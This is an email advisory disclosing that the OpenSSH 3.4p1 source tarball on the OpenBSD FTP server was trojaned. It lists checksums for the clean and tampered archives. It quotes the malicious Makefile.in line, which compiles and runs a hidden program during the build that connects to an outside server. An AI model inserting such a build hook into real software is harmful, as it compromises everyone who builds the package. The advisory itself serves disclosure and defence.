Subject: openssh-3.4p1.tar.gz trojaned

Greetings,

Just want to inform you that the OpenSSH package op ftp.openbsd.org
(and probably all its mirrors now) it trojaned:

    ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz

The OpenBSD people have been informed about it (via email to
deraadt at openbsd.org and via irc.openprojects.org/#openbsd)


The changed files are openssh-3.4p1/openbsd-compat/Makefile.in:
 all: libopenbsd-compat.a
+       @ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out &

bf-test.c[1] is nothing more than a wrapper which generates a
shell-script[2] which compiles itself and tries to connect to an
server running on 203.62.158.32:6667 (web.snsonline.net).
  
[1] http://www.mavetju.org/~edwin/bf-test.c
[2] http://www.mavetju.org/~edwin/bf-output.sh

This is the md5 checksum of the openssh-3.4p1.tar.gz in the FreeBSD
ports system:
    MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8

This is the md5 checksum of the trojaned openssh-3.4p1.tar.gz:
    MD5 (openssh-3.4p1.tar.gz) = 3ac9bc346d736b4a51d676faa2a08a57
